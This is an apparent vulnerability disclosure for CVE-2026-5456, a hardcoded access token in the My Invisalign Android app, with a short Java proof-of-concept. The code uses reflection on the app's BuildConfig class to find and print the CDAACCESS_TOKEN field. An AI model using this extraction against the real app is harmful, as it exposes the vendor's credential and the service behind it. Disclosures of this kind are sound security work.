CVE-2026-5456: My Invisalign App硬编码密钥漏洞

import java.lang.reflect.Field; // POC: Extract hardcoded token from BuildConfig // This demonstrates how an attacker can retrieve the CDAACCESS_TOKEN // by decompiling the APK and inspecting the specific class. public class PocExample { public static void main(String[] args) { try { // Simulate accessing the BuildConfig class of the vulnerable app Class<?> buildConfig = Class.forName("com.aligntech.myinvisalign.BuildConfig"); // Iterate through fields to find the hardcoded token Field[] fields = buildConfig.getDeclaredFields(); for (Field field : fields) { if (field.getName().equals("CDAACCESS_TOKEN")) { // Make the field accessible if it is private field.setAccessible(true); String token = (String) field.get(null); System.out.println("[+] Hardcoded Token Found: " + token); } } } catch (Exception e) { System.err.println("[-] Error: " + e.getMessage()); } } }